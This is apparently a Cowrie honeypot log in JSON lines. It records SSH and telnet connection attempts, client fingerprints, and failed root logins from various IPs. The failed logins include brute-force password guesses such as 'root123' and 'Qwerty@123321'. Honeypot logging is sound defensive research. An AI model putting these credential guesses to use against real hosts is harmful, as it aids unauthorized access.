{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:07.984816Z","src_ip":"109.91.4.177","session":"6caaa6ae2309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazZAQ!","message":"login attempt [root/1qazZAQ!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:08.448458Z","src_ip":"109.91.4.177","session":"6caaa6ae2309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:09.555023Z","src_ip":"109.91.4.177","session":"6caaa6ae2309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":50490,"dst_ip":"10.17.0.5","dst_port":22,"session":"293d248534e4","protocol":"ssh","message":"New connection: 51.250.105.222:50490 (10.17.0.5:22) [session: 293d248534e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:22.233819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:22.237713Z","src_ip":"51.250.105.222","session":"293d248534e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:22.361765Z","src_ip":"51.250.105.222","session":"293d248534e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:22.731398Z","src_ip":"51.250.105.222","session":"293d248534e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:23.857092Z","src_ip":"51.250.105.222","session":"293d248534e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.547648429870605,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:40.395415Z","src_ip":"170.64.224.25","session":"d446f8e1ea47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":33851,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce6c2ff27ba","protocol":"ssh","message":"New connection: 218.56.160.82:33851 (10.17.0.5:22) [session: 2ce6c2ff27ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:41.195395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:41.199154Z","src_ip":"218.56.160.82","session":"2ce6c2ff27ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:41.457846Z","src_ip":"218.56.160.82","session":"2ce6c2ff27ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sr123456.","message":"login attempt [root/Sr123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:44.192871Z","src_ip":"218.56.160.82","session":"2ce6c2ff27ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:45.454600Z","src_ip":"218.56.160.82","session":"2ce6c2ff27ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":50008,"dst_ip":"10.17.0.5","dst_port":22,"session":"e360e93b4e3d","protocol":"ssh","message":"New connection: 38.148.249.2:50008 (10.17.0.5:22) [session: e360e93b4e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:05.082269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:05.086044Z","src_ip":"38.148.249.2","session":"e360e93b4e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:05.157269Z","src_ip":"38.148.249.2","session":"e360e93b4e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qy123456.","message":"login attempt [root/Qy123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:05.470833Z","src_ip":"38.148.249.2","session":"e360e93b4e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:06.542819Z","src_ip":"38.148.249.2","session":"e360e93b4e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49444,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b3a7afc30cc","protocol":"ssh","message":"New connection: 103.27.238.116:49444 (10.17.0.5:22) [session: 6b3a7afc30cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:17.495734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:17.499231Z","src_ip":"103.27.238.116","session":"6b3a7afc30cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:17.777097Z","src_ip":"103.27.238.116","session":"6b3a7afc30cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serega1987","message":"login attempt [root/serega1987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:18.612352Z","src_ip":"103.27.238.116","session":"6b3a7afc30cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:19.893357Z","src_ip":"103.27.238.116","session":"6b3a7afc30cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":34782,"dst_ip":"10.17.0.5","dst_port":22,"session":"a54df47a26ae","protocol":"ssh","message":"New connection: 80.94.92.55:34782 (10.17.0.5:22) [session: a54df47a26ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:22.645372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:23.017962Z","src_ip":"80.94.92.55","session":"a54df47a26ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:24.339040Z","src_ip":"80.94.92.55","session":"a54df47a26ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:26.367772Z","src_ip":"80.94.92.55","session":"a54df47a26ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:27.987886Z","src_ip":"80.94.92.55","session":"a54df47a26ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":44500,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5b49e776553","protocol":"ssh","message":"New connection: 194.36.147.215:44500 (10.17.0.5:22) [session: c5b49e776553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:33.481326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:33.484758Z","src_ip":"194.36.147.215","session":"c5b49e776553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:33.573740Z","src_ip":"194.36.147.215","session":"c5b49e776553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password!@#$%^","message":"login attempt [root/password!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:33.841719Z","src_ip":"194.36.147.215","session":"c5b49e776553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:34.933393Z","src_ip":"194.36.147.215","session":"c5b49e776553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":35900,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c5bf1ccec86","protocol":"telnet","message":"New connection: 137.184.5.188:35900 (159.203.135.109:23) [session: 9c5bf1ccec86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:35.255119Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":53580,"dst_ip":"10.17.0.5","dst_port":22,"session":"341c5394ccd6","protocol":"ssh","message":"New connection: 209.99.190.200:53580 (10.17.0.5:22) [session: 341c5394ccd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:39.087011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:39.092082Z","src_ip":"209.99.190.200","session":"341c5394ccd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45680,"dst_ip":"159.203.135.109","dst_port":23,"session":"90be4c170c79","protocol":"telnet","message":"New connection: 170.64.224.25:45680 (159.203.135.109:23) [session: 90be4c170c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:39.187599Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:39.191471Z","src_ip":"209.99.190.200","session":"341c5394ccd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@123321","message":"login attempt [root/Qwerty@123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:39.619588Z","src_ip":"209.99.190.200","session":"341c5394ccd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:40.721763Z","src_ip":"209.99.190.200","session":"341c5394ccd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45694,"dst_ip":"159.203.135.109","dst_port":23,"session":"80d25a3f3f87","protocol":"telnet","message":"New connection: 170.64.224.25:45694 (159.203.135.109:23) [session: 80d25a3f3f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:41.916349Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45698,"dst_ip":"159.203.135.109","dst_port":23,"session":"01474dfa9e3c","protocol":"telnet","message":"New connection: 170.64.224.25:45698 (159.203.135.109:23) [session: 01474dfa9e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:42.928244Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.44.247.134","src_port":32856,"dst_ip":"10.17.0.5","dst_port":22,"session":"a27b06d1f8f9","protocol":"ssh","message":"New connection: 142.44.247.134:32856 (10.17.0.5:22) [session: a27b06d1f8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:51.991707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:51.995312Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
